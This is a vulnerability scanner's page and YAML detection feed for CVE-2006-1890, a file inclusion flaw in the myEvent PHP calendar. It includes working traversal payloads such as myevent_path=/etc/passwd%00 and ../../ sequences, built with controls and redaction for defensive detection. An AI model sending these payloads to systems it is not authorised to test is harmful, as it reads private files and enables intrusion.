myEvent — 1 vulnerability check
noctis ships 1 vulnerability check for myEvent, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
myEvent myevent_path File Inclusion
| CVE | CVE-2006-1890 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/myevent/CVE-2006-1890.yaml |
Tests myEvent (1.x) for the unauthenticated file inclusion through the myevent_path parameter. In each myEvent folder (/myevent, /myEvent, the web root) whose myevent.php names myEvent, the feed requests myevent.php with myevent_path set to /etc/passwd followed by a NUL byte (%00) that cuts off the path suffix added by the script, then /windows/win.ini and /boot.ini; the content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. When no file comes back (PHP 5.3.4 and later no longer cut paths at a NUL byte), the feed sends myevent_path=../../ followed by a random name and reports the flaw when the PHP include warning in the reply quotes that name with the ../ sequence still in front of it, which shows the parameter reaches the include unfiltered (this needs PHP errors to be displayed). Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/myevent.php - Checks
index_r.bodyfor(?i)(mywebland\.com"?>myEvent|<title>myEvent) - HTTP(S) request
GET {{dir}}/myevent.php?myevent_path=/etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/myevent.php?myevent_path=/windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/myevent.php?myevent_path=/boot.ini%00 - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/myevent.php?myevent_path={{ctrl_path}}%00 - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: myEvent myevent_path File Inclusion (CVE-2006-1890) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: myEvent myevent_path File Inclusion (CVE-2006-1890) - … and 3 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2006-1890
- https://nvd.nist.gov/vuln/detail/CVE-2006-1907
- https://nvd.nist.gov/vuln/detail/CVE-2006-1908
Feed source — tests/vulnerabilities/myevent/CVE-2006-1890.yaml
# myEvent myevent_path file inclusion — CVE-2006-1890
#
# myEvent 1.x (myWebland, a small PHP event calendar, unmaintained) builds an
# include from the "myevent_path" request parameter without any check when PHP's
# register_globals is on (NVD: event.php and initialize.php, reported on 1.2
# and 1.4; the scripts all pull in initialize.php). On PHP < 5.3.4 with
# magic_quotes_gpc off a NUL byte (%00) cuts off the suffix the code appends to
# the path, so any file the web server user can read is included and printed
# (and, with allow_url_include, a remote URL runs as PHP).
#
# NVD CVE mapping: this feed proves the myevent_path inclusion = CVE-2006-1890
# only. The issue also lists CVE-2006-1907 (SQL injection in addevent.php /
# del.php, no usable proof without writing) and CVE-2006-1908 (XSS in
# addevent.php, reflected by a write) — separate bugs, not proven here.
#
# Detection (benign, read-only), per myEvent folder (/myevent, /myEvent, web
# root) whose myevent.php names myEvent:
# 1. GET myevent.php?myevent_path=/etc/passwd%00 and match the CONTENT of
# /etc/passwd; then /windows/win.ini, /boot.ini (QoD 75).
# 2. When no file came back: GET myevent.php?myevent_path=../../noctis-<random>
# and require a PHP include warning that quotes the path WITH our "../"
# directly before the random name (QoD 75). Works on any PHP version,
# needs display_errors on.
#
# Improvements over the source NASL:
# - The NASL accepts any "failed to open stream" / "Failed opening" warning
# that mentions the file name, and an unanchored root:...:0:0 match. The
# feed requires the file content, and its warning fallback requires the
# include() path to quote our own random name preceded by the "../" we
# sent.
# - File reads are followed by a control request (same parameter, a path in
# an absent random directory that still ends with the file that hit) that
# must come back WITHOUT any of these files and with the same HTTP status
# (fail-closed), so blanket responders, honeypots and WAF blocks are not
# reported. Account name (unless root), password field and gecos of the
# uid-0 line are redacted before they reach the finding.
# - Linux and Windows system files are tried without relying on OS detection.
#
# CVSS: CVE-2006-1890 v2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P; NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2008/myevent_multiple_flaws.nasl
# (OID 1.3.6.1.4.1.25623.1.0.80074, GPL-2.0-only).
uid: 6eadd035-379c-431a-a08e-c3ec677764bf
name: "myEvent myevent_path File Inclusion (CVE-2006-1890)"
description: |
Tests myEvent (1.x) for the unauthenticated file inclusion through the
myevent_path parameter. In each myEvent folder (/myevent, /myEvent, the web
root) whose myevent.php names myEvent, the feed requests myevent.php with
myevent_path set to /etc/passwd followed by a NUL byte (%00) that cuts off
the path suffix added by the script, then /windows/win.ini and /boot.ini;
the content of the file in the reply confirms the inclusion. A control
request for an absent random file through the same parameter must not
return any of these files, so a server that serves the same content on every
request is not reported. When no file comes back (PHP 5.3.4 and later no
longer cut paths at a NUL byte), the feed sends myevent_path=../../ followed
by a random name and reports the flaw when the PHP include warning in the
reply quotes that name with the ../ sequence still in front of it, which
shows the parameter reaches the include unfiltered (this needs PHP errors to
be displayed). Only world-readable system files are read. The account name
(unless root), password field and gecos of the uid-0 line are redacted from
the evidence.
cves: [CVE-2006-1890]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [myevent, php, lfi, rfi, file-inclusion, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2006-1890"
- "https://nvd.nist.gov/vuln/detail/CVE-2006-1907"
- "https://nvd.nist.gov/vuln/detail/CVE-2006-1908"
# OpenVAS/Greenbone NASL 2008/myevent_multiple_flaws.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per myEvent folder.
# Each pass resets the values it reads, so nothing is left over.
- id: init-mev
action: set_var
var_name: mev
var_value: false
loop:
var: dir
over: ["/myevent", "/myEvent", ""]
- id: init-index-r
action: set_var
var_name: index_r
var_value: {status: 0, body: ""}
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
# ── Product gate: the folder's myevent.php names myEvent ─────────────────────
- id: index
action: http_request
method: GET
path: "{{dir}}/myevent.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: index_r
- id: index-marker
action: match
source: index_r.body
pattern: "(?i)(mywebland\\.com\"?>myEvent|<title>myEvent)"
on_match:
set_vars:
mev: true
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/myevent.php?myevent_path=/etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "mev"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "mev"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
condition: "mev"
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# page answered and the Linux read gave nothing ──────────────────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/myevent.php?myevent_path=/windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'mev && lin_proof == "" && passwd_r.status != 0'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'mev && lin_proof == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/myevent.php?myevent_path=/boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'mev && lin_proof == "" && win_file == "" && passwd_r.status != 0'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'mev && lin_proof == "" && win_file == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent path sits in a random missing directory but still ENDS with
# the file that hit and the NUL byte, so a honeypot that keys a fake file on
# that name or path suffix answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"/noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/myevent.php?myevent_path={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── File-read findings (control answered and stayed clean) ───────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "myEvent myevent_path File Inclusion (CVE-2006-1890)"
description: "An unauthenticated request to myevent.php with the myevent_path parameter set to /etc/passwd followed by a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration, and runs any PHP code found in an included file."
remediation: "Do not build include paths from the myevent_path request value (myEvent is unmaintained and has no fixed release, so remove it or fix the path in the code) and turn register_globals off, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/myevent.php?myevent_path=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "myEvent myevent_path File Inclusion (CVE-2006-1890)"
description: "An unauthenticated request to myevent.php with the myevent_path parameter set to a Windows system file followed by a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration, and runs any PHP code found in an included file."
remediation: "Do not build include paths from the myevent_path request value (myEvent is unmaintained and has no fixed release, so remove it or fix the path in the code) and turn register_globals off, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/myevent.php?myevent_path=/{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true
# ── Fallback: include warning quoting our random name after the "../" ────
# Only when no system file came back at all (PHP >= 5.3.4). A file that
# came back but failed the control (blanket responder, honeypot) is not
# retried here.
- id: read-warning
action: http_request
method: GET
path: "{{dir}}/myevent.php?myevent_path=../../noctis-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'mev && lin_proof == "" && win_file == ""'
store_as: warn_r
- id: warning-path
action: script
code: |
// PHP 4.3-8 print "Failed opening '<path>' for inclusion" for every
// failed include (doc links, open_basedir and "(x86)" install paths
// don't change it); the "failed to open stream" line (include( / main(
// in PHP 4.3) is the second chance.
let re1 = "(?i)Failed opening '([^'\\r\\n]*\\.\\./noctis-" + oob_token + "[^'\\r\\n]*)' for inclusion";
let re2 = "(?i)\\b(?:include|require|main)(?:_once)?\\((.*?\\.\\./noctis-" + oob_token + "[^\\r\\n]*?)\\)(?:\\s*\\[<a\\b[^\\]\\r\\n]*\\])?\\s*:\\s*failed to open stream:\\s*No such file or directory";
let m = eregmatch(re1, warn_r.body);
if m.len() < 2 { m = eregmatch(re2, warn_r.body); }
if m.len() > 1 { m[1] } else { "" }
condition: 'mev && lin_proof == "" && win_file == ""'
store_as: warn_proof
- id: report-warning
action: match
source: warn_proof
pattern: "\\.\\./noctis-"
condition: 'warn_proof != ""'
on_match:
finding:
title: "myEvent myevent_path File Inclusion (CVE-2006-1890)"
description: "An unauthenticated request to myevent.php with the myevent_path parameter set to ../../ followed by a random name made PHP print an include warning for a path that holds that name with the ../ sequence still in front of it: the parameter reaches the include unfiltered, so ../ sequences select any file to include. No system file could be read back (the NUL byte that cuts off the .php suffix is ignored by PHP 5.3.4 and later), but any .php file on the server, such as an uploaded one, can still be included and run."
remediation: "Do not build include paths from the myevent_path request value (myEvent is unmaintained and has no fixed release, so remove it or fix the path in the code) and turn register_globals off, and turn display_errors off in production."
confidence_delta: 0.50
qod: 75
evidence: "{{dir}}/myevent.php?myevent_path=../../noctis-{{oob_token}} made PHP warn that it failed to include {{warn_proof}}"
stop: true